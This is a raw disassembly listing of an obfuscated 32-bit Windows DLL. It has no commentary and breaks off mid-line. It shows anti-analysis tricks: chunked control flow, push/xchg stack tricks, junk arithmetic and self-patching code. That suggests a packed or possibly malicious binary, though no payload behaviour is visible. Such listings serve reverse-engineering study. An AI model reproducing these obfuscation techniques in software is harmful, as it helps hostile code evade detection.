sub_10016573 ; --------------------------------------------------------------------------- loc_1001734E: ; CODE XREF: an.kk9rg:1001A596j pop esi ; =============== S U B R O U T I N E ======================================= sub_1001734F proc near ; CODE XREF: sub_100145B9+225p ; FUNCTION CHUNK AT 1001641B SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx mov ax, [eax] and ax, 38FFh jmp loc_1001641B sub_1001734F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001735F: ; CODE XREF: sub_10013389:loc_100185FCj cmp ecx, 0BB6E0447h jmp loc_1001A6BB ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001736A: ; DATA XREF: sub_1001B9C1:loc_1001D4B2o mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_1001BCAC[eax*4], 0 push offset sub_10016C92 jmp locret_1001AE2E ; --------------------------------------------------------------------------- loc_10017382: ; DATA XREF: sub_10016B29-DA4o pushf push 78EC5B27h xchg ecx, [esp] mov edi, ecx pop ecx jmp loc_1001BBA4 ; --------------------------------------------------------------------------- loc_10017393: ; CODE XREF: an.kk9rg:10019B56j push esi ; =============== S U B R O U T I N E ======================================= sub_10017394 proc near ; CODE XREF: an.kk9rg:1001AF03p ; FUNCTION CHUNK AT 100144BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014520 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001497B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001503C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001618E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10017AA8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10018583 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 1001A67B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A92C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CBCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF76 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DE0C SIZE 0000001B BYTES xchg ebx, [esp+0] pop ebx mov esp, ebp pop ebp mov eax, ds:dword_10018614 jmp loc_1001497B sub_10017394 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_100173A6: ; CODE XREF: sub_100174F4:loc_1001803Cj add ecx, 0B4C99F05h mov [ecx], eax pop ecx loc_100173AF: ; CODE XREF: an.kk9rg:10016B51j pushf push 0D36C5BD8h pop eax xor eax, ds:100000C5h or eax, 0D13F3A20h loc_100173C2: ; CODE XREF: sub_10018AB1+29A3j jmp loc_1001969F ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100173C7: ; CODE XREF: sub_1001B5A3-120Bj add edi, 409E8753h sub edi, 47F7FB4Bh add edi, 2955B445h xchg edi, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- not ecx js loc_100140DE jmp sub_10013389 ; --------------------------------------------------------------------------- add esp, 10h xchg edi, [esp] mov ebp, edi pop edi xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_100173FA proc near ; CODE XREF: sub_100136FF-82j ; an.kk9rg:1001545Ap ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014537 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100199C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5C6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B7A5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D1A7 SIZE 00000005 BYTES jnb loc_10014537 push ebp jmp loc_1001A5C6 sub_100173FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10017406: ; CODE XREF: sub_10015988:loc_10016E76j sub edi, 2C775140h mov esi, 0B03375Dh jmp loc_1001866F ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- test eax, 7596381Eh jmp loc_10019C15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E17 loc_10017421: ; CODE XREF: sub_10014E17+2B15j rol eax, 1Dh xor eax, 0D119625Eh loc_1001742A: ; CODE XREF: sub_1001893F+1B68j rol eax, 6 push offset loc_1001B2B9 jmp nullsub_134 ; END OF FUNCTION CHUNK FOR sub_10014E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10017437: ; CODE XREF: sub_1001C535:loc_1001434Aj jz loc_1001CFEB jmp loc_1001DA0E ; END OF FUNCTION CHUNK FOR sub_1001C535 ; =============== S U B R O U T I N E ======================================= sub_10017442 proc near ; DATA XREF: sub_100173FA+31CEo push ebx mov ebx, ecx push offset loc_1001AF00 jmp nullsub_28 sub_10017442 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001744F: ; CODE XREF: sub_1001BB72:loc_100187B6j pop ebx xchg ebx, [esp+4+var_4] mov [ebp+var_4], eax push 74082DB7h pop eax jmp loc_100168FC ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_10017461: ; CODE XREF: sub_1001D43B:loc_1001D4A3j pop ebx and ebx, 7127AB3Fh or ebx, 0EC03604Ch xor ebx, 6B4CC2F0h add ebx, 93633A07h add ebx, ebp call sub_100175DE pushf jmp loc_1001AAA4 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10017487: ; CODE XREF: sub_1001492C+5752j jnp loc_1001921B jmp loc_10015500 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10017492: ; CODE XREF: sub_10013061:loc_100194D1j mov eax, ds:dword_10018608 or eax, eax jnz loc_1001D499 jmp loc_1001AA7F ; END OF FUNCTION CHUNK FOR sub_10013061 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABB4 loc_100174A6: ; CODE XREF: sub_1001ABB4+6j jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_1001ABB4 ; --------------------------------------------------------------------------- loc_100174AB: ; CODE XREF: an.kk9rg:100172A8j jmp loc_10015758 ; --------------------------------------------------------------------------- loc_100174B0: ; CODE XREF: an.kk9rg:10014BB8j jmp loc_100159D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_100174B5: ; CODE XREF: sub_1001CD85:loc_100172C4j jge loc_10015FB4 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_100174BB: ; CODE XREF: sub_10019E17+755j jmp loc_10014A5D ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- push ebp add esi, 3A5838BEh jmp loc_10015FB4 ; --------------------------------------------------------------------------- loc_100174CC: ; CODE XREF: an.kk9rg:1001DEE3j jbe loc_1001C9FC ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_100174D2: ; CODE XREF: sub_10019C34+27A7j rol ecx, 10h jb loc_1001C129 loc_100174DB: ; CODE XREF: sub_1001C9F8-299Ej jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- sbb esi, ebp xor eax, 1C9673C8h jmp loc_1001BB0C ; --------------------------------------------------------------------------- loc_100174ED: ; DATA XREF: sub_10018C4D+2B82o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100192DD loc_100174EF: ; CODE XREF: sub_100192DD+3j jmp sub_100173FA ; END OF FUNCTION CHUNK FOR sub_100192DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100174F4 proc near ; CODE XREF: sub_10015E0D-2604p ; sub_10015469+48Bp ... var_14 = byte ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 100132B5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10013982 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001428B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10015590 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 100173A6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10017FBF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001803C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019546 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001969F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A3AA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001CB88 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h loc_100174FA: ; CODE XREF: sub_10016D66+6B9Cj call sub_1001D11D loc_100174FF: ; CODE XREF: an.kk9rg:1001CE97j jmp loc_10015590 sub_100174F4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10017504: ; CODE XREF: sub_1001C547+12j jmp loc_10019004 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- loc_10017509: ; CODE XREF: an.kk9rg:1001B374j jmp loc_1001C1E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001750E: ; CODE XREF: sub_100189D7-178Ej jmp loc_1001799F ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10017513: ; CODE XREF: sub_10015066:loc_1001B1ADj jnz loc_1001DBA4 loc_10017519: ; CODE XREF: sub_10014E66+6E02j jmp loc_1001D719 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- test ebp, edi jmp loc_1001DB99 ; --------------------------------------------------------------------------- not edx jge loc_1001885D jmp sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017532: ; CODE XREF: sub_10018066+4BBEj push 4 push 28h mov eax, [ebp-4] push eax jmp loc_10013A3E ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001753F proc near ; CODE XREF: sub_10013AEC+1p ; an.kk9rg:10018C18j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001AF73 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xchg esi, [esp-4+arg_0] jmp loc_1001AF73 sub_1001753F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A0AD loc_1001754B: ; CODE XREF: sub_1001A0AD+7j and edi, ebp mov [ebx], edx ; END OF FUNCTION CHUNK FOR sub_1001A0AD ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001754F: ; CODE XREF: sub_10017CF8+6j ; sub_1001A533-2508j ... jmp loc_100137C5 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A8DD loc_10017554: ; CODE XREF: sub_10017CF8-14DBj ; sub_1001A8DD+7j xchg edi, [esp+0] mov ecx, edi pop edi push offset loc_1001A113 jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_1001A8DD ; --------------------------------------------------------------------------- loc_10017564: ; DATA XREF: sub_10017E49-291o push ecx mov esp, ebp xchg edi, [esp] call sub_1001898D ; START OF FUNCTION CHUNK FOR sub_1001A7CF loc_1001756F: ; CODE XREF: sub_1001A7CF+13j jmp loc_1001DAF6 ; END OF FUNCTION CHUNK FOR sub_1001A7CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10017574: ; CODE XREF: sub_10019595+1Bj jmp loc_1001D68F ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10017579: ; CODE XREF: sub_100189D7-1BD4j jmp loc_1001CABF ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001757E: ; CODE XREF: sub_1001893F-1D41j jmp loc_1001BAA8 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017583: ; CODE XREF: sub_10013389+DEj jmp loc_100175A1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001536A loc_10017588: ; CODE XREF: sub_1001536A:loc_1001C197j call sub_10014FD4 ; END OF FUNCTION CHUNK FOR sub_1001536A ; START OF FUNCTION CHUNK FOR sub_1001C67F loc_1001758D: ; CODE XREF: sub_1001C67F+9j cmp al, 0A4h jz loc_1001ABF0 jmp loc_100159BB ; END OF FUNCTION CHUNK FOR sub_1001C67F ; --------------------------------------------------------------------------- xor eax, esi jmp sub_1001C3AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100175A1: ; CODE XREF: sub_10013389:loc_10017583j mov [edx], eax pop edx mov eax, [ebp-4] mov al, [eax] call sub_10018E79 loc_100175AE: ; CODE XREF: an.kk9rg:1001AB8Dj jnp loc_1001BA1A loc_100175B4: ; CODE XREF: sub_10016A1B:loc_10016958j xor edi, 24C3E0FCh and edi, 4011418Ah push offset sub_1001C1BF jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100175CA: ; CODE XREF: an.kk9rg:loc_10017FB2j jnz loc_10016679 popf mov edx, [edi] jle loc_100153A1 jmp loc_100140BC ; =============== S U B R O U T I N E ======================================= sub_100175DE proc near ; CODE XREF: sub_1001D43B-5FBFp ; an.kk9rg:1001DC12j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013143 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001467E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10014914 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10016F19 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001838D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100185C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019163 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100192FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019A38 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001CD9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA78 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx add ebx, 0E551234Ah mov ebx, [ebx] xchg ebx, [esp+0] push dword ptr [ebp+0Ch] jmp loc_1001838D sub_100175DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100175F5: ; CODE XREF: sub_10013061:loc_1001AA7Fj jz loc_100136EC jmp loc_10016642 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- jmp ds:dword_10002030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017606: ; CODE XREF: sub_10013389+A17Dj jmp loc_1001D234 ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] dd 0FFF48783h, 0EE58E8FFh, 8B0FFFFFh, 3598h, 3BECE9h, 76D98100h dd 0E9BE5626h, 2145h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001762C: ; CODE XREF: sub_1001B3CA-BCEj adc esi, 0B88E7E7Eh mov edx, [ebx] jmp loc_1001ABF0 ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017639: ; CODE XREF: sub_10018066+4j sub al, 99h mov edx, [ebp-4] call sub_1001C2D8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_10017643 proc near ; CODE XREF: sub_10013389:loc_1001AADBj ; an.kk9rg:loc_1001C4D6p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] push 0E59C02AFh pop edi xor edi, 0D4CD0E44h sub edi, 51B13AEBh add edi, 20602E28h jmp loc_100198A7 sub_10017643 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10017667 proc near ; CODE XREF: an.kk9rg:100145ADj ; sub_1001537B+1787p ... ; FUNCTION CHUNK AT 10019CEE SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx add eax, 0BD07ACFEh add eax, ebp jmp loc_10019CEE sub_10017667 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017678: ; CODE XREF: an.kk9rg:10018110j and ecx, edi ; =============== S U B R O U T I N E ======================================= sub_1001767A proc near ; CODE XREF: an.kk9rg:10019B6Bp ; FUNCTION CHUNK AT 1001448E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 100155C2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016F14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100170F1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001847B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100191D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A312 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A853 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DAC3 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx imul byte ptr [edx] cmp al, 0A4h jz loc_100155C2 jmp loc_1001847B sub_1001767A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001768D: ; CODE XREF: sub_10013389+151Cj xchg esi, [esp-4+arg_0] jmp sub_1001B010 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10017695: ; CODE XREF: sub_100145ED:loc_10014B80j jz loc_10015F16 jmp loc_10016E5F ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_100176A0: ; CODE XREF: sub_1001BC80:loc_100144CAj ; sub_1001BC80-620j mov eax, [ebp-108h] mov byte ptr [ebp+eax-100h], 0 push 2010h push 0 jmp loc_10013B08 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100176BA: ; CODE XREF: sub_10015BFC:loc_100157E9j jle loc_1001B428 jmp loc_100179F6 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100156CB loc_100176C5: ; CODE XREF: sub_100156CB:loc_100156A9j jle loc_1001B00C jmp loc_1001CE20 ; END OF FUNCTION CHUNK FOR sub_100156CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_100176D0: ; CODE XREF: sub_1001DBEB:loc_1001B9EAj call sub_1001B20F loc_100176D5: ; CODE XREF: an.kk9rg:1001C530j jmp loc_1001D640 ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_100176DA: ; CODE XREF: sub_10019E2E-4E5Fj jmp loc_1001BB25 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_100176DF: ; CODE XREF: an.kk9rg:10015A29j cmp esi, 5C3A0646h jmp loc_10018018 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_100176EA: ; CODE XREF: sub_10019030+215j jnz loc_10014F52 jmp loc_10016432 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- xor edx, 708785C3h popf jmp sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017701: ; CODE XREF: sub_1001ABFD-1CEFj ; sub_10013389:loc_1001A6BBj rol edx, 0Bh xor edx, 0D64A4CFDh add edx, ebp add edx, 7946B329h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013667 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001771D: ; CODE XREF: sub_10018798+Ej jnz loc_100193A1 jmp loc_1001C5B9 ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- adc edi, esi jmp sub_1001555F ; --------------------------------------------------------------------------- loc_1001772F: ; DATA XREF: sub_100150BD+1E1Eo add edx, ebp add edx, 0C472E4B8h mov [edx], eax xchg esi, [esp] mov edx, esi pop esi mov eax, [ebp-4] jmp loc_10014BD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10017747: ; CODE XREF: sub_100130C7:loc_1001D48Fj mov eax, [ebp-8] mov esp, ebp ; END OF FUNCTION CHUNK FOR sub_100130C7 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001774C: ; CODE XREF: sub_10016D66:loc_1001A0B9j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001774E: ; CODE XREF: sub_100130C7+311Cj ; sub_100130C7+5433j push offset loc_100164B4 jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017758: ; CODE XREF: sub_1001A97E:loc_10018F58j pop edx loc_10017759: ; CODE XREF: sub_10013999+53EAj or edx, 0BDCD3EBCh xor edx, 3FADF72Fh add edx, 0A9B7CDFh loc_1001776B: ; CODE XREF: sub_1001537B:loc_10019EA6j xor edx, 166DFCB2h jmp loc_10019B75 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017776: ; CODE XREF: sub_10013389:loc_1001CEBDj and eax, 0B4E36553h or eax, 53BF5335h test eax, 100h jmp loc_100151F8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001778D: ; CODE XREF: an.kk9rg:10016601j jz loc_100165C9 jmp loc_10018782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_10017798: ; CODE XREF: sub_1001677A:loc_10013957j xchg edx, [esp+4+var_4] mov ebp, esp loc_1001779D: ; CODE XREF: sub_10016D66:loc_1001C4A4j push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jz loc_1001B783 jmp loc_1001CA4D ; END OF FUNCTION CHUNK FOR sub_1001677A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_100177B2: ; CODE XREF: sub_10017803:loc_1001DA68j mov eax, ds:dword_1001D758 or eax, eax jnz loc_1001DA29 jmp loc_100158BC ; END OF FUNCTION CHUNK FOR sub_10017803 ; --------------------------------------------------------------------------- jb sub_10019F19 jmp sub_10018D62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_100177D0: ; CODE XREF: sub_1001B096:loc_1001CBC5j pop ebx lea eax, nullsub_5 mov byte ptr [eax], 0C3h loc_100177DA: ; CODE XREF: sub_10015F31+1F6j jmp nullsub_5 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- call nullsub_7 jmp ds:dword_10002018 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_100177EA: ; CODE XREF: sub_10015B5D+7FC7j jmp sub_10013A6A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_1001DF12 ; --------------------------------------------------------------------------- push 0DB4744BFh jmp loc_100188ED ; --------------------------------------------------------------------------- loc_100177FF: ; DATA XREF: sub_10013389:loc_10015905o xchg edx, [esp] retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10017803 proc near ; CODE XREF: sub_100153B8:loc_1001B9E5j ; FUNCTION CHUNK AT 100177B2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001DA29 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001DA68 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_1001DA68 sub_10017803 endp ; --------------------------------------------------------------------------- loc_1001780F: ; CODE XREF: an.kk9rg:1001A2E4j adc edi, eax ; =============== S U B R O U T I N E ======================================= sub_10017811 proc near ; CODE XREF: sub_100180C2+401Cp ; FUNCTION CHUNK AT 1001408D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax pop ebp mov eax, ds:dword_1001D744 push offset loc_1001996F jmp loc_1001408D sub_10017811 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2E2 loc_10017826: ; CODE XREF: sub_1001B2E2+9j call sub_10015995 ; END OF FUNCTION CHUNK FOR sub_1001B2E2 ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001782B: ; CODE XREF: sub_10018C76-2878j jmp loc_10018FCE ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10017830: ; CODE XREF: sub_10019030:loc_10018BA2j mov edx, [ebp-8] mov eax, [ebp-4] call sub_1001558A mov edx, [ebp-8] mov eax, [ebp-4] call sub_10019423 loc_10017846: ; CODE XREF: sub_1001985B-B79j jmp loc_1001949E ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001784B: ; CODE XREF: sub_10017D86-2A77j jmp loc_1001CFC1 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10017850: ; CODE XREF: sub_100188EE:loc_10014413j and ecx, 0D010A52Eh mov edi, ebx cdq jge loc_1001A506 sub edx, ecx jmp loc_10018FF3 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10017866: ; CODE XREF: sub_10015B5D-17E9j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_1001D54F mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx jmp loc_1001377B ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CA40 loc_10017883: ; CODE XREF: sub_1001CA40:loc_1001CA4Dj sub al, 99h call sub_1001B096 loc_1001788A: ; CODE XREF: an.kk9rg:loc_1001AC17j xor edi, 0CE83C20h add edi, 9BA19E65h xchg edi, [esp+0] jmp loc_1001A72D ; END OF FUNCTION CHUNK FOR sub_1001CA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001789E: ; CODE XREF: sub_10013389:loc_100130E4j and ecx, 531A8729h jnz loc_1001464E mov edx, 777EC6A3h jmp loc_1001D727 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100178B4: ; CODE XREF: an.kk9rg:loc_1001C376j jz loc_1001B00C jmp loc_100181C7 ; --------------------------------------------------------------------------- loc_100178BF: ; CODE XREF: an.kk9rg:loc_10015397j push offset sub_10019D63 jmp locret_1001702D ; --------------------------------------------------------------------------- loc_100178C9: ; DATA XREF: sub_1001A6F7-2D0Bo push 30A1C1EFh pop edx xor edx, 0BA835F9h rol edx, 10h jmp loc_10019679 ; --------------------------------------------------------------------------- loc_100178DD: ; CODE XREF: an.kk9rg:10016694j push 0E8F66CB9h loc_100178E2: ; CODE XREF: an.kk9rg:loc_10015108j pop eax and eax, 0E5963C10h add eax, 5B6AB28Bh jmp loc_100190BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100178F4: ; CODE XREF: sub_1001A97E-4410j jle loc_10016CAF jmp loc_10017304 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100178FF: ; CODE XREF: sub_1001504E:loc_1001DC35j sub al, 99h push 0CB853614h pop edx and edx, ds:100000CBh jmp loc_100147E3 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017912: ; CODE XREF: 